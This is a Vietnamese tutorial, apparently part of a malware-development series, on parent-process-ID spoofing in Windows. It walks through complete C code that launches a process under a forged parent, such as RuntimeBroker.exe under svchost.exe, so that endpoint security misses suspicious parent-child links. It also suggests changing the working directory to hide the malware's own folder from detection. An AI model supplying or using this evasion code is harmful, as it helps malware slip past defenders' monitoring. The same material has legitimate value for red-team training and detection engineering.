Introduction
Parent Proccess ID (PPID) Spoofing là một kỹ thuật dùng để thay đổi PPID của một tiến trình nhằm che giấu mối quan hệ giữa tiến trình hiện tại với tiến trình cha thật sự của nó.
Các giải pháp bảo mật thường tìm kiếm những mối quan hệ bất thường chẳng hạn như việc Microsoft Word có tiến trình con là cmd.exe
. Nếu chúng ta có thể thay thế PPID của cmd.exe
thành của một tiến trình hợp lệ nào đó khác thì có thể né tránh được sự phát hiện.
Một ví dụ khác về mối quan hệ bất thường: trong phần Early Bird APC Injection, việc tạo ra tiến trình RuntimeBroker.exe
từ EarlyBird.exe
có thể bị các giải pháp bảo mật đánh dấu là đáng ngờ.
Attributes List
Là một cấu trúc dữ liệu chứa các thuộc tính liên quan đến một tiến trình hoặc một thread chẳng hạn như độ ưu tiên, thuật toán điều phối, không gian địa chỉ bộ nhớ, etc. Danh sách thuộc tính này có thể được dùng để truy xuất cũng như là chỉnh sửa các thuộc tính của tiến trình hoặc thread khi đang chạy.
Creating a Process
Để làm giả PPID của một tiến trình thì ta cần tạo ra tiến trình đó sử dụng hàm CreateProcess
với flag EXTENDED_STARTUPINFO_PRESENT
. Flag này cho phép ta có thể thay đổi một số thông tin của tiến trình chẳng hạn như PPID.
Theo Microsoft mô tả:
Cite
The process is created with extended startup information; the
lpStartupInfo
parameter specifies aSTARTUPINFOEX
structure.
Đoạn mô tả trên cho ta biết rằng khi sử dụng flag EXTENDED_STARTUPINFO_PRESENT
, ta cần truyền vào tham số lpStartupInfo
một biến có kiểu dữ liệu cấu trúc STARTUPINFOEX
.
STARTUPINFOEXA
Structure
Cấu trúc STARTUPINFOEXA
có dạng như sau:
typedef struct _STARTUPINFOEXA {
STARTUPINFOA StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; // Attributes List
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
Với:
StartupInfo
là cấu trúc tương tự mà ta đã dùng để tạo process ở trong các bài trước1. Thành phần duy nhất mà ta cần khởi tạo giá trị là trườngcb
với giá trị làsizeof(STARTUPINFOEX)
.lpAttributeList
sẽ được khởi tạo bởi hàmInitializeProcThreadAttributeList
Initializing The Attributes List
Nguyên mẫu của hàm InitializeProcThreadAttributeList
:
BOOL InitializeProcThreadAttributeList(
[out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
[in] DWORD dwAttributeCount,
DWORD dwFlags, // NULL (reserved)
[in, out] PSIZE_T lpSize
);
Theo tài liệu của Microsoft, hàm này cần phải được gọi 2 lần:
- Lần thứ nhất với đối số truyền vào
lpAttributeList
làNULL
. Lần này là để xác định kích thước của danh sách các thuộc tính mà sẽ được trả về thông qua tham sốlpSize
. - Lần thứ hai với đối số truyền vào
lpAttributeList
là một con trỏ hợp lệ cùng với kích thước của danh sách thuộc tính đã biết. Lần gọi này sẽ giúp khởi tạo danh sách thuộc tính.
Đối số truyền vào dwAttributeCount
sẽ là 1 do ta chỉ cần khởi tạo duy nhất 1 thuộc tính.
Updating The Attributes List
Sau khi danh sách thuộc tính đã được khởi tạo, ta sẽ sử dụng hàm UpdateProcThreadAttribute
để cập nhật thuộc tính mà ta cần. Nguyên mẫu của hàm này:
BOOL UpdateProcThreadAttribute(
[in, out] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, // return value from InitializeProcThreadAttributeList
[in] DWORD dwFlags, // NULL (reserved)
[in] DWORD_PTR Attribute,
[in] PVOID lpValue, // pointer to the attribute value
[in] SIZE_T cbSize, // sizeof(lpValue)
[out, optional] PVOID lpPreviousValue, // NULL (reserved)
[in, optional] PSIZE_T lpReturnSize // NULL (reserved)
);
Với:
Attribute
sẽ làPROC_THREAD_ATTRIBUTE_PARENT_PROCESS
, tương ứng với việc ta sẽ cập nhật thông tin về tiến trình cha. Flag này giúp chỉ định tiến trình cha của một thread. Tiến trình cha của một thread là tiến trình tạo ra thread đó.- Nếu thread được tạo ra thông qua hàm
CreateThread
thì tiến trình cha của thread sẽ là tiến trình gọi hàm. - Nếu thread được tạo ra như là một phần của việc tạo tiến trình bởi hàm
CreateProcess
thì tiến trình cha của thread sẽ là tiến trình được tạo ra.
- Nếu thread được tạo ra thông qua hàm
PPID Spoofing Function
Chúng ta sẽ tạo ra hàm CreatePPidSpoofedProcess
để thực hiện giả mạo PPID của một tiến trình. Hàm này có nguyên mẫu như sau:
BOOL CreatePPidSpoofedProcess(IN HANDLE hParentProcess, IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread);
Với:
hParentProcess
là handle đến tiến trình mà sẽ được dùng làm tiến trình cha giả mạo.lpProcessName
là tên của tiến trình sẽ được tạo ra.
Trước tiên, ta sẽ khởi tạo một số biến như sau:
CHAR lpPath [MAX_PATH * 2];
CHAR WnDr [MAX_PATH];
SIZE_T sThreadAttList = NULL;
PPROC_THREAD_ATTRIBUTE_LIST pThreadAttList = NULL;
STARTUPINFOEXA SiEx = { 0 };
PROCESS_INFORMATION Pi = { 0 };
RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// Setting the size of the structure
SiEx.StartupInfo.cb = sizeof(STARTUPINFOEXA);
Sau đó, xây dựng đường dẫn đến file thực thi mà ta cần tạo tiến trình:
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
return FALSE;
}
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
Gọi InitializeProcThreadAttributeList
2 lần để khởi tạo danh sách thuộc tính:
// This will fail with ERROR_INSUFFICIENT_BUFFER, as expected
InitializeProcThreadAttributeList(NULL, 1, NULL, &sThreadAttList);
// Allocating enough memory
pThreadAttList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sThreadAttList);
if (pThreadAttList == NULL){
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Calling InitializeProcThreadAttributeList again, but passing the right parameters
if (!InitializeProcThreadAttributeList(pThreadAttList, 1, NULL, &sThreadAttList)) {
printf("[!] InitializeProcThreadAttributeList Failed With Error : %d \n", GetLastError());
return FALSE;
}
Có thể thấy, sau khi biết được kích thước của danh sách thuộc tính thì ta sẽ cần phải sử dụng hàm HeapAlloc
để cấp phát vùng nhớ. Con trỏ trả về từ việc cấp phát vùng nhớ cũng sẽ là đối số đầu tiên truyền vào hàm InitializeProcThreadAttributeList
.
Cập nhật thông tin về tiến trình cha ở trong danh sách thuộc tính:
if (!UpdateProcThreadAttribute(pThreadAttList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) {
printf("[!] UpdateProcThreadAttribute Failed With Error : %d \n", GetLastError());
return FALSE;
}
Gán danh sách thuộc tính cho cấu trúc STARTUPINFOEXA
:
// Setting the LPPROC_THREAD_ATTRIBUTE_LIST element in SiEx to be equal to what was
// created using UpdateProcThreadAttribute - that is the parent process
SiEx.lpAttributeList = pThreadAttList;
Tạo tiến trình với cấu trúc STARTUPINFOEXA
ở trên và lưu lại các thông tin liên quan đến tiến trình chẳng hạn như PID, handle và handle đến main thread:
if (!CreateProcessA(
NULL,
lpPath,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
&SiEx.StartupInfo,
&Pi)) {
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
Cuối cùng, dọn dẹp và đảm bảo rằng các thông tin mà ta cần là đủ:
// Cleaning up
DeleteProcThreadAttributeList(pThreadAttList);
CloseHandle(hParentProcess);
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
return TRUE;
return FALSE;
Demo
Tạo ra tiến trình con là RuntimeBroker.exe
với tiến trình cha là svchost.exe
có PID là 21956
và đang chạy dưới quyền bình thường:
Có thể thấy, tiến trình cha hiển thị ở trong Process Hacker là svchost.exe
như ta mong đợi:
Chú ý rằng thư mục hiện tại hiển thị trong ProcessHacker là thư mục của malware. Đây có thể là một IoC và sẽ bị đánh dấu là bất thường:
Để giải quyết điều này, ta có thể truyền vào tham số lpCurrentDirectory
của CreateProcess
một giá trị hợp lệ nào đó chẳng hạn như C:\Windows\System32
:
Resources
Footnotes
-
xem thêm APC Injection hoặc Thread Hijacking ↩